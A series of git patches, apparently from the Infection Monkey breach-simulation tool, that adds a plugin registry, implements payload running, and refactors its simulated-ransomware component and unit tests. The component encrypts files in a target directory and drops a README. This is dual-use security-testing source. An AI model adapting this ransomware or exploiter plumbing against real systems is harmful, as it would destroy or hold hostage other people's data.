monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py index 23c723f0e..635b39587 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py @@ -2,7 +2,7 @@ import os import shutil import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, HELLO_TXT, SHORTCUT_LNK, diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py similarity index 96% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py index 318536de9..b69266db9 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py @@ -1,7 +1,7 @@ import os import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256, diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py similarity index 98% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py index a2b5babdb..39ca057ee 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py @@ -2,7 +2,7 @@ from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, TEST_KEYBOARD_TXT, ) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py From 8e6abcb7956ffd1deb68616be8a93f137acfebfb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Dec 2021 20:40:34 +0530 Subject: [PATCH 0242/1110] Agent: Add PluginRegistry --- .../puppet/plugin_registry.py | 42 +++++++++++++++++++ monkey/infection_monkey/puppet/puppet.py | 6 ++- 2 files changed, 47 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/puppet/plugin_registry.py diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py new file mode 100644 index 000000000..d86a7491e --- /dev/null +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -0,0 +1,42 @@ +import logging +from typing import Optional + +from infection_monkey.i_puppet import UnknownPluginError +from infection_monkey.puppet.plugin_type import PluginType + +logger = logging.getLogger() + + +class PluginRegistry: + def __init__(self): + """ + `self._registry` looks like - + { + PluginType.EXPLOITER: { + "ZerologonExploiter": ZerologonExploiter, + "SMBExploiter": SMBExploiter + }, + PluginType.PBA: { + "CommunicateAsBackdoorUser": CommunicateAsBackdoorUser + } + } + """ + self._registry = {} + + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + self._registry.setdefault(plugin_type, {}) + self._registry[plugin_type][plugin.__class__.__name__] = plugin + + logger.debug(f"Plugin '{plugin.__class__.__name__}' loaded") + + def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Optional[object]: + try: + plugin = self._registry[plugin_type][plugin_name] + except KeyError: + raise UnknownPluginError( + f"Unknown plugin '{plugin_name}' of type '{plugin_type.value}'" + ) + + logger.debug(f"Plugin '{plugin_name}' found") + + return plugin diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 5563a2dfe..0c36435e0 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -10,14 +10,18 @@ from infection_monkey.i_puppet import ( PortScanData, PostBreachData, ) +from infection_monkey.puppet.plugin_registry import PluginRegistry from infection_monkey.puppet.plugin_type import PluginType logger = logging.getLogger() class Puppet(IPuppet): + def __init__(self) -> None: + self._plugin_registry = PluginRegistry() + def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: - pass + self._plugin_registry.load_plugin(plugin, plugin_type) def run_sys_info_collector(self, name: str) -> Dict: pass From b7982552498b3f7fbcc25edf3ae94471f0fe41c1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Dec 2021 16:26:40 +0100 Subject: [PATCH 0243/1110] Agent: Add plugin_name attribute to puppet's load_plugin --- monkey/infection_monkey/i_puppet.py | 5 +++-- monkey/infection_monkey/puppet/plugin_registry.py | 6 +++--- monkey/infection_monkey/puppet/puppet.py | 4 ++-- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 50e050dc6..f3567ee77 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -27,9 +27,10 @@ PostBreachData = namedtuple("PostBreachData", ["command", "result"]) class IPuppet(metaclass=abc.ABCMeta): @abc.abstractmethod - def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: """ - Loads a plugin into the puppet. + Loads a plugin into the puppet + :param str plugin_name: The plugin class name :param object plugin: The plugin object to load :param PluginType plugin_type: The type of plugin being loaded """ diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index d86a7491e..76d0d3714 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -23,11 +23,11 @@ class PluginRegistry: """ self._registry = {} - def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._registry.setdefault(plugin_type, {}) - self._registry[plugin_type][plugin.__class__.__name__] = plugin + self._registry[plugin_type][plugin_name] = plugin - logger.debug(f"Plugin '{plugin.__class__.__name__}' loaded") + logger.debug(f"Plugin '{plugin_name}' loaded") def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Optional[object]: try: diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 0c36435e0..0fac17a7e 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -20,8 +20,8 @@ class Puppet(IPuppet): def __init__(self) -> None: self._plugin_registry = PluginRegistry() - def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: - self._plugin_registry.load_plugin(plugin, plugin_type) + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: + self._plugin_registry.load_plugin(plugin, plugin_name, plugin_type) def run_sys_info_collector(self, name: str) -> Dict: pass From 0a4ff25843d5d9fab249db94e1f583bd96c6107b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Dec 2021 16:28:46 +0100 Subject: [PATCH 0244/1110] Agent: Implement Puppet.run_payload() --- monkey/infection_monkey/puppet/puppet.py | 5 ++- .../infection_monkey/puppet/test_puppet.py | 43 +++++++++++++++++++ 2 files changed, 46 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 0fac17a7e..132898536 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -21,7 +21,7 @@ class Puppet(IPuppet): self._plugin_registry = PluginRegistry() def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: - self._plugin_registry.load_plugin(plugin, plugin_name, plugin_type) + self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) def run_sys_info_collector(self, name: str) -> Dict: pass @@ -50,7 +50,8 @@ class Puppet(IPuppet): pass def run_payload(self, name: str, options: Dict, interrupt: threading.Event): - pass + payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) + payload.run(options, interrupt) def cleanup(self) -> None: pass diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py new file mode 100644 index 000000000..c0c4a1f19 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -0,0 +1,43 @@ +import threading +from unittest.mock import MagicMock + +from infection_monkey.puppet.plugin_type import PluginType +from infection_monkey.puppet.puppet import Puppet + + +def test_puppet_run_payload_success(monkeypatch): + p = Puppet() + + payload = MagicMock() + payload_name = "PayloadOne" + + p.load_plugin(payload_name, payload, PluginType.PAYLOAD) + p.run_payload(payload_name, {}, threading.Event()) + + payload.run.assert_called_once() + + +def test_puppet_run_multiple_payloads(monkeypatch): + p = Puppet() + + payload_1 = MagicMock() + payload1_name = "PayloadOne" + + payload_2 = MagicMock() + payload2_name = "PayloadTwo" + + payload_3 = MagicMock() + payload3_name = "PayloadThree" + + p.load_plugin(payload1_name, payload_1, PluginType.PAYLOAD) + p.load_plugin(payload2_name, payload_2, PluginType.PAYLOAD) + p.load_plugin(payload3_name, payload_3, PluginType.PAYLOAD) + + p.run_payload(payload1_name, {}, threading.Event()) + payload_1.run.assert_called_once() + + p.run_payload(payload2_name, {}, threading.Event()) + payload_2.run.assert_called_once() + + p.run_payload(payload3_name, {}, threading.Event()) + payload_3.run.assert_called_once() From 2299c029d7c36706990bd2716db6bbc7866fe6ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 09:08:30 -0500 Subject: [PATCH 0245/1110] Agent: Rename RansomwarePayload to Ransomware A payload adheres to a specific IPayload interface. The class that is now called RansomwarePayload is just a concrete ransomware. A new RansomwarePayload will be introduced to wrap the build and execute of the Ransomware. --- .../{ransomware_payload.py => ransomware.py} | 2 +- ...yload_builder.py => ransomware_builder.py} | 8 +- .../payload/ransomware/test_file_selectors.py | 2 +- ...nsomware_payload.py => test_ransomware.py} | 98 ++++++++----------- 4 files changed, 49 insertions(+), 61 deletions(-) rename monkey/infection_monkey/payload/ransomware/{ransomware_payload.py => ransomware.py} (99%) rename monkey/infection_monkey/payload/ransomware/{ransomware_payload_builder.py => ransomware_builder.py} (89%) rename monkey/tests/unit_tests/infection_monkey/payload/ransomware/{test_ransomware_payload.py => test_ransomware.py} (55%) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware.py similarity index 99% rename from monkey/infection_monkey/payload/ransomware/ransomware_payload.py rename to monkey/infection_monkey/payload/ransomware/ransomware.py index 227829d10..2f09e386f 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -11,7 +11,7 @@ from .ransomware_config import RansomwareConfig logger = logging.getLogger(__name__) -class RansomwarePayload: +class Ransomware: def __init__( self, config: RansomwareConfig, diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py similarity index 89% rename from monkey/infection_monkey/payload/ransomware/ransomware_payload_builder.py rename to monkey/infection_monkey/payload/ransomware/ransomware_builder.py index c5eb034f0..671f20f1f 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py @@ -12,8 +12,8 @@ from infection_monkey.utils.bit_manipulators import flip_bits from . import readme_dropper from .file_selectors import ProductionSafeTargetFileSelector from .in_place_file_encryptor import InPlaceFileEncryptor +from .ransomware import Ransomware from .ransomware_config import RansomwareConfig -from .ransomware_payload import RansomwarePayload from .targeted_file_extensions import TARGETED_FILE_EXTENSIONS EXTENSION = ".m0nk3y" @@ -22,8 +22,8 @@ CHUNK_SIZE = 4096 * 24 logger = logging.getLogger(__name__) -def build_ransomware_payload(config: dict): - logger.debug(f"Ransomware payload configuration:\n{pformat(config)}") +def build_ransomware(config: dict): + logger.debug(f"Ransomware configuration:\n{pformat(config)}") ransomware_config = RansomwareConfig(config) file_encryptor = _build_file_encryptor() @@ -31,7 +31,7 @@ def build_ransomware_payload(config: dict): leave_readme = _build_leave_readme() telemetry_messenger = _build_telemetry_messenger() - return RansomwarePayload( + return Ransomware( ransomware_config, file_encryptor, file_selector, diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py index 635b39587..f779b733e 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py @@ -13,7 +13,7 @@ from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_file from tests.utils import is_user_admin from infection_monkey.payload.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.payload.ransomware.ransomware_payload import README_SRC +from infection_monkey.payload.ransomware.ransomware import README_SRC TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py similarity index 55% rename from monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index 39ca057ee..a7e9f8a90 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -8,17 +8,17 @@ from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_file ) from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC +from infection_monkey.payload.ransomware.ransomware import Ransomware from infection_monkey.payload.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload @pytest.fixture -def ransomware_payload(build_ransomware_payload, ransomware_payload_config): - return build_ransomware_payload(ransomware_payload_config) +def ransomware(build_ransomware, ransomware_config): + return build_ransomware(ransomware_config) @pytest.fixture -def build_ransomware_payload( +def build_ransomware( mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy ): def inner( @@ -27,7 +27,7 @@ def build_ransomware_payload( file_selector=mock_file_selector, leave_readme=mock_leave_readme, ): - return RansomwarePayload( + return Ransomware( config, file_encryptor, file_selector, @@ -39,7 +39,7 @@ def build_ransomware_payload( @pytest.fixture -def ransomware_payload_config(ransomware_test_data): +def ransomware_config(ransomware_test_data): class RansomwareConfigStub(RansomwareConfig): def __init__(self, encryption_enabled, readme_enabled, target_directory): self.encryption_enabled = encryption_enabled @@ -69,18 +69,16 @@ def mock_leave_readme(): def test_files_selected_from_target_dir( - ransomware_payload, - ransomware_payload_config, + ransomware, + ransomware_config, mock_file_selector, ): - ransomware_payload.run_payload() - mock_file_selector.assert_called_with(ransomware_payload_config.target_directory) + ransomware.run_payload() + mock_file_selector.assert_called_with(ransomware_config.target_directory) -def test_all_selected_files_encrypted( - ransomware_test_data, ransomware_payload, mock_file_encryptor -): - ransomware_payload.run_payload() +def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_file_encryptor): + ransomware.run_payload() assert mock_file_encryptor.call_count == 2 mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) @@ -88,30 +86,30 @@ def test_all_selected_files_encrypted( def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, mock_file_encryptor + build_ransomware, ransomware_config, mock_file_encryptor ): - ransomware_payload_config.encryption_enabled = False + ransomware_config.encryption_enabled = False - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() + ransomware = build_ransomware(ransomware_config) + ransomware.run_payload() assert mock_file_encryptor.call_count == 0 def test_encryption_skipped_if_no_directory( - build_ransomware_payload, ransomware_payload_config, mock_file_encryptor + build_ransomware, ransomware_config, mock_file_encryptor ): - ransomware_payload_config.encryption_enabled = True - ransomware_payload_config.target_directory = None + ransomware_config.encryption_enabled = True + ransomware_config.target_directory = None - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() + ransomware = build_ransomware(ransomware_config) + ransomware.run_payload() assert mock_file_encryptor.call_count == 0 -def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): - ransomware_payload.run_payload() +def test_telemetry_success(ransomware, telemetry_messenger_spy): + ransomware.run_payload() assert len(telemetry_messenger_spy.telemetries) == 2 telem_1 = telemetry_messenger_spy.telemetries[0] @@ -125,19 +123,15 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): assert telem_2.get_data()["files"][0]["error"] == "" -def test_telemetry_failure( - build_ransomware_payload, ransomware_payload_config, telemetry_messenger_spy -): +def test_telemetry_failure(build_ransomware, ransomware_config, telemetry_messenger_spy): file_not_exists = "/file/not/exist" mfe = MagicMock( side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") ) mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) - ransomware_payload = build_ransomware_payload( - config=ransomware_payload_config, file_encryptor=mfe, file_selector=mfs - ) + ransomware = build_ransomware(config=ransomware_config, file_encryptor=mfe, file_selector=mfs) - ransomware_payload.run_payload() + ransomware.run_payload() telem = telemetry_messenger_spy.telemetries[0] assert file_not_exists in telem.get_data()["files"][0]["path"] @@ -145,42 +139,36 @@ def test_telemetry_failure( assert "No such file or directory" in telem.get_data()["files"][0]["error"] -def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme): - ransomware_payload_config.readme_enabled = False - ransomware_payload = build_ransomware_payload(ransomware_payload_config) +def test_readme_false(build_ransomware, ransomware_config, mock_leave_readme): + ransomware_config.readme_enabled = False + ransomware = build_ransomware(ransomware_config) - ransomware_payload.run_payload() + ransomware.run_payload() mock_leave_readme.assert_not_called() -def test_readme_true( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data -): - ransomware_payload_config.readme_enabled = True - ransomware_payload = build_ransomware_payload(ransomware_payload_config) +def test_readme_true(build_ransomware, ransomware_config, mock_leave_readme, ransomware_test_data): + ransomware_config.readme_enabled = True + ransomware = build_ransomware(ransomware_config) - ransomware_payload.run_payload() + ransomware.run_payload() mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) -def test_no_readme_if_no_directory( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme -): - ransomware_payload_config.target_directory = None - ransomware_payload_config.readme_enabled = True +def test_no_readme_if_no_directory(build_ransomware, ransomware_config, mock_leave_readme): + ransomware_config.target_directory = None + ransomware_config.readme_enabled = True - ransomware_payload = build_ransomware_payload(ransomware_payload_config) + ransomware = build_ransomware(ransomware_config) - ransomware_payload.run_payload() + ransomware.run_payload() mock_leave_readme.assert_not_called() -def test_leave_readme_exceptions_handled(build_ransomware_payload, ransomware_payload_config): +def test_leave_readme_exceptions_handled(build_ransomware, ransomware_config): leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) - ransomware_payload_config.readme_enabled = True - ransomware_payload = build_ransomware_payload( - config=ransomware_payload_config, leave_readme=leave_readme - ) + ransomware_config.readme_enabled = True + ransomware = build_ransomware(config=ransomware_config, leave_readme=leave_readme) # Test will fail if exception is raised and not handled - ransomware_payload.run_payload() + ransomware.run_payload() From 0328d2860eb8af12ff40157853d68637bb7cffdd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 09:17:19 -0500 Subject: [PATCH 0246/1110] Agent: Add a RansomwarePayload that implements to the IPayload interface --- .../payload/ransomware/ransomware.py | 3 ++- .../payload/ransomware/ransomware_payload.py | 12 +++++++++++ .../payload/ransomware/test_ransomware.py | 21 ++++++++++--------- 3 files changed, 25 insertions(+), 11 deletions(-) create mode 100644 monkey/infection_monkey/payload/ransomware/ransomware_payload.py diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 2f09e386f..1050bab75 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -1,4 +1,5 @@ import logging +import threading from pathlib import Path from typing import Callable, List @@ -32,7 +33,7 @@ class Ransomware: self._target_directory / README_FILE_NAME if self._target_directory else None ) - def run_payload(self): + def run(self, _: threading.Event): if not self._target_directory: return diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py new file mode 100644 index 000000000..d785859a2 --- /dev/null +++ b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py @@ -0,0 +1,12 @@ +import threading +from typing import Dict + +from infection_monkey.payload.i_payload import IPayload + +from . import ransomware_builder + + +class RansomwarePayload(IPayload): + def run(self, options: Dict, interrupt: threading.Event): + ransomware = ransomware_builder.build_ransomware(options) + ransomware.run(interrupt) diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index a7e9f8a90..6024f2afd 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -1,3 +1,4 @@ +import threading from pathlib import PurePosixPath from unittest.mock import MagicMock @@ -73,12 +74,12 @@ def test_files_selected_from_target_dir( ransomware_config, mock_file_selector, ): - ransomware.run_payload() + ransomware.run(threading.Event()) mock_file_selector.assert_called_with(ransomware_config.target_directory) def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_file_encryptor): - ransomware.run_payload() + ransomware.run(threading.Event()) assert mock_file_encryptor.call_count == 2 mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) @@ -91,7 +92,7 @@ def test_encryption_skipped_if_configured_false( ransomware_config.encryption_enabled = False ransomware = build_ransomware(ransomware_config) - ransomware.run_payload() + ransomware.run(threading.Event()) assert mock_file_encryptor.call_count == 0 @@ -103,13 +104,13 @@ def test_encryption_skipped_if_no_directory( ransomware_config.target_directory = None ransomware = build_ransomware(ransomware_config) - ransomware.run_payload() + ransomware.run(threading.Event()) assert mock_file_encryptor.call_count == 0 def test_telemetry_success(ransomware, telemetry_messenger_spy): - ransomware.run_payload() + ransomware.run(threading.Event()) assert len(telemetry_messenger_spy.telemetries) == 2 telem_1 = telemetry_messenger_spy.telemetries[0] @@ -131,7 +132,7 @@ def test_telemetry_failure(build_ransomware, ransomware_config, telemetry_messen mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) ransomware = build_ransomware(config=ransomware_config, file_encryptor=mfe, file_selector=mfs) - ransomware.run_payload() + ransomware.run(threading.Event()) telem = telemetry_messenger_spy.telemetries[0] assert file_not_exists in telem.get_data()["files"][0]["path"] @@ -143,7 +144,7 @@ def test_readme_false(build_ransomware, ransomware_config, mock_leave_readme): ransomware_config.readme_enabled = False ransomware = build_ransomware(ransomware_config) - ransomware.run_payload() + ransomware.run(threading.Event()) mock_leave_readme.assert_not_called() @@ -151,7 +152,7 @@ def test_readme_true(build_ransomware, ransomware_config, mock_leave_readme, ran ransomware_config.readme_enabled = True ransomware = build_ransomware(ransomware_config) - ransomware.run_payload() + ransomware.run(threading.Event()) mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) @@ -161,7 +162,7 @@ def test_no_readme_if_no_directory(build_ransomware, ransomware_config, mock_lea ransomware = build_ransomware(ransomware_config) - ransomware.run_payload() + ransomware.run(threading.Event()) mock_leave_readme.assert_not_called() @@ -171,4 +172,4 @@ def test_leave_readme_exceptions_handled(build_ransomware, ransomware_config): ransomware = build_ransomware(config=ransomware_config, leave_readme=leave_readme) # Test will fail if exception is raised and not handled - ransomware.run_payload() + ransomware.run(threading.Event()) From 958cf3a25298a77b173fb535ad55981c1008744d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Dec 2021 19:55:26 +0530 Subject: [PATCH 0247/1110] Agent, UT: Rename 'config' to 'options' in ransomware files --- .../payload/ransomware/ransomware.py | 4 +- .../payload/ransomware/ransomware_builder.py | 10 +-- ...omware_config.py => ransomware_options.py} | 10 +-- .../payload/ransomware/test_ransomware.py | 60 +++++++-------- .../ransomware/test_ransomware_config.py | 73 ------------------- .../ransomware/test_ransomware_options.py | 73 +++++++++++++++++++ .../monkey_island/cc/services/test_config.py | 4 +- 7 files changed, 117 insertions(+), 117 deletions(-) rename monkey/infection_monkey/payload/ransomware/{ransomware_config.py => ransomware_options.py} (72%) delete mode 100644 monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py create mode 100644 monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index 1050bab75..d83361dca 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -7,7 +7,7 @@ from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .consts import README_FILE_NAME, README_SRC -from .ransomware_config import RansomwareConfig +from .ransomware_options import RansomwareOptions logger = logging.getLogger(__name__) @@ -15,7 +15,7 @@ logger = logging.getLogger(__name__) class Ransomware: def __init__( self, - config: RansomwareConfig, + config: RansomwareOptions, encrypt_file: Callable[[Path], None], select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py index 671f20f1f..4b8bbc8bb 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_builder.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py @@ -13,7 +13,7 @@ from . import readme_dropper from .file_selectors import ProductionSafeTargetFileSelector from .in_place_file_encryptor import InPlaceFileEncryptor from .ransomware import Ransomware -from .ransomware_config import RansomwareConfig +from .ransomware_options import RansomwareOptions from .targeted_file_extensions import TARGETED_FILE_EXTENSIONS EXTENSION = ".m0nk3y" @@ -22,9 +22,9 @@ CHUNK_SIZE = 4096 * 24 logger = logging.getLogger(__name__) -def build_ransomware(config: dict): - logger.debug(f"Ransomware configuration:\n{pformat(config)}") - ransomware_config = RansomwareConfig(config) +def build_ransomware(options: dict): + logger.debug(f"Ransomware configuration:\n{pformat(options)}") + ransomware_options = RansomwareOptions(options) file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() @@ -32,7 +32,7 @@ def build_ransomware(config: dict): telemetry_messenger = _build_telemetry_messenger() return Ransomware( - ransomware_config, + ransomware_options, file_encryptor, file_selector, leave_readme, diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_config.py b/monkey/infection_monkey/payload/ransomware/ransomware_options.py similarity index 72% rename from monkey/infection_monkey/payload/ransomware/ransomware_config.py rename to monkey/infection_monkey/payload/ransomware/ransomware_options.py index f8ab792da..8416f8465 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware_config.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_options.py @@ -6,13 +6,13 @@ from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) -class RansomwareConfig: - def __init__(self, config: dict): - self.encryption_enabled = config["encryption"]["enabled"] - self.readme_enabled = config["other_behaviors"]["readme"] +class RansomwareOptions: + def __init__(self, options: dict): + self.encryption_enabled = options["encryption"]["enabled"] + self.readme_enabled = options["other_behaviors"]["readme"] self.target_directory = None - self._set_target_directory(config["encryption"]["directories"]) + self._set_target_directory(options["encryption"]["directories"]) def _set_target_directory(self, os_target_directories: dict): if is_windows_os(): diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index 6024f2afd..94de5aabc 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -10,12 +10,12 @@ from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_file from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC from infection_monkey.payload.ransomware.ransomware import Ransomware -from infection_monkey.payload.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions 